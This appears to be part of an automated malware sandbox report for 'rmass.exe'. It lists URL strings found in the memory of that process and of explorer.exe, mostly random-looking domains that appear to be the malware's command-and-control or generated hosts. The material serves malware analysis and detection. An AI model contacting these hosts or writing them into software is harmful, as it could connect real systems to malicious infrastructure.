Source: rmass.exe, 00000001.00000003.3688974118.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kkycrsduhwiox.st/
Source: rmass.exe, 00000001.00000003.4043327522.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knqeasqwo.cd/
Source: rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knykdukye.museum/
Source: rmass.exe, 00000001.00000003.3673924432.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3672419760.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kqlcwdpuso.st/
Source: rmass.exe, 00000001.00000003.3673924432.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3672419760.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kqlcwdpuso.st/s
Source: rmass.exe, 00000001.00000003.2426473242.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kqoqgeuukaj.tk/
Source: rmass.exe, 00000001.00000003.3942701105.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kumzrl.nu/
Source: rmass.exe, 00000001.00000003.3942701105.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kumzrl.nu/d
Source: rmass.exe, 00000001.00000003.3942701105.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kumzrl.nu/ed
Source: rmass.exe, 00000001.00000003.3745859621.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3747592496.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3748891664.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753337199.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754388366.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kvaqewnz.nu/
Source: rmass.exe, 00000001.00000003.3745859621.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3747592496.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3748891664.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753337199.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754388366.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kvaqewnz.nu/d
Source: rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lgabfmbedcmat.nu/
Source: rmass.exe, 00000001.00000003.3446395646.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mcebkwggagthk.museum/
Source: rmass.exe, 00000001.00000003.3933758879.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933678317.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://meovgkpxogbmum.tk/al
Source: rmass.exe, 00000001.00000003.3545246947.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mgsufsmmbq.museum/al
Source: rmass.exe, 00000001.00000003.3545246947.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mgsufsmmbq.museum/ts
Source: rmass.exe, 00000001.00000003.3063330790.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micycyca.st/
Source: rmass.exe, 00000001.00000003.3727929005.00000000008C7000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3730724518.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkuegbwheeqrkp.tk/
Source: rmass.exe, 00000001.00000003.3727929005.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkuegbwheeqrkp.tk/x
Source: rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://monkkutsqof.cd/
Source: rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mtgos.pw/
Source: rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mtgos.pw/d
Source: rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mueir.museum/
Source: rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mueir.museum/hkgkviqkq.st/
Source: rmass.exe, 00000001.00000003.3229376304.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3226937976.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3235223088.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3224420298.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3219240595.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3228271129.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3220500100.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3221197322.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3226566442.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3232200845.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mugguqyebm.pw/
Source: rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://murxwyoxuauqe.museum/
Source: rmass.exe, 00000001.00000003.4160934365.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171570478.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4158491294.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4157533269.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4159461995.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4164161021.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://murxwyoxuauqe.museum/G;s
Source: rmass.exe, 00000001.00000003.3258788300.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258954340.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mwwocic.cd/
Source: rmass.exe, 00000001.00000003.3258788300.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258954340.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mwwocic.cd/al
Source: rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mwwocic.cd/d
Source: rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mwwocic.cd/nu/
Source: rmass.exe, 00000001.00000003.3258788300.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258954340.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mwwocic.cd/ts
Source: rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mwwocic.cd/ttings
Source: rmass.exe, 00000001.00000003.3308428524.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://myuklgdq.museum/
Source: rmass.exe, 00000001.00000003.3503705009.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3502034222.00000000008CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ngzccmaioiowqy.pw/
Source: rmass.exe, 00000001.00000003.3503705009.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3502034222.00000000008CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ngzccmaioiowqy.pw/d
Source: explorer.exe, 00000004.00000003.3109928011.0000000009836000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3498166967.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4177106660.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1712490988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3109108187.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000004.00000000.1709945572.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4175947792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oeutebxns.pw/
Source: rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oeutebxns.pw/hkgkviqkq.st/
Source: rmass.exe, 00000001.00000003.3800646182.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oivgkqkubfq.museum/
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://okqsp.st/
Source: rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oqcckacuwbt.pw/
Source: rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743423728.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oqqhbcoxcyqsw.cd/
Source: rmass.exe, 00000001.00000003.3745859621.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3747592496.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3748891664.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753337199.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754388366.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743423728.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oqqhbcoxcyqsw.cd//
Source: rmass.exe, 00000001.00000003.3745859621.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3747592496.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3748891664.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753337199.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754388366.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743423728.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oqqhbcoxcyqsw.cd/d
Source: rmass.exe, 00000001.00000003.3745859621.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3747592496.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3748891664.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753337199.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743423728.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oqqhbcoxcyqsw.cd/ed
Source: rmass.exe, 00000001.00000003.2136331697.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2143658185.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oqryiicdajaf.museum/
Source: rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oussi.mp/
Source: rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oussi.mp/)
Source: rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oussi.mp/ed
Source: rmass.exe, 00000001.00000003.3317634074.00000000008BC000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3314796272.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oxuamhgwomyql.mp/
Source: rmass.exe, 00000001.00000003.3317634074.00000000008BC000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3314796272.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oxuamhgwomyql.mp/b
Source: rmass.exe, 00000001.00000003.2236477955.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2249004987.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pyqjwzcg.nu/Q:h-
Source: rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qgqhvwukptzi.tk/
Source: rmass.exe, 00000001.00000003.3745859621.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3747592496.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3744450555.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3748891664.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753337199.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754388366.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743423728.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qkxiogyhafi.museum/
Source: rmass.exe, 00000001.00000003.3446395646.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qniwqotgk.cd/
Source: rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qniwqotgk.cd//
Source: rmass.exe, 00000001.00000003.3933156249.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qnqdegcawewks.nu/
Source: rmass.exe, 00000001.00000003.3059542056.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qwiinm.museum/
Source: rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qyrcizm.mp/
Source: rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qyrcizm.mp/do
Source: rmass.exe, 00000001.00000003.3261570593.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rxcomqytho.tk/
Source: rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rxcomqytho.tk/ectionSettings
Source: rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rxcomqytho.tk/p
Source: rmass.exe, 00000001.00000003.4160934365.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171570478.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4158491294.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4157533269.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4159461995.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4164161021.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://saomdtepk.st/
Source: rmass.exe, 00000001.00000003.4078511094.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://saomdtepk.st/ion
Source: explorer.exe, 00000004.00000000.1710707736.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.1713621825.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.4178678324.0000000008720000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shmmirazghiwzh.pw/
Source: rmass.exe, 00000001.00000003.4125454517.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4157533269.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shmmirazghiwzh.pw/F:
Source: rmass.exe, 00000001.00000003.4125454517.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shmmirazghiwzh.pw/N:
Source: rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shmmirazghiwzh.pw/V:
Source: rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shmmirazghiwzh.pw/f:
Source: rmass.exe, 00000001.00000003.3372816012.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://siabzsmu.st/
Source: rmass.exe, 00000001.00000003.3226937976.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3224420298.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3219240595.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3220500100.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3221197322.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3226566442.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3217980400.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ssgcl.tk/
Source: rmass.exe, 00000001.00000003.3389970035.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3395608764.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3679118016.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446319307.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3541094612.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687384821.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3588334030.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3518018071.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3503634533.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3673634790.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3455263197.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3399923647.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3680665470.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3404866543.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3676532038.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3458803709.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3593296009.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687682263.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3544769439.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3678227211.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3685693498.00000000008FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://suaumy.st/
